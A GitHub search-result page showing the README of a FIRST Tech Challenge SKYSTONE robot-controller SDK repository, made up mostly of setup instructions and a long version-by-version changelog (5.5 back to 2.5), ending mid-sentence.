Found 126 repositories(showing 30)
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The 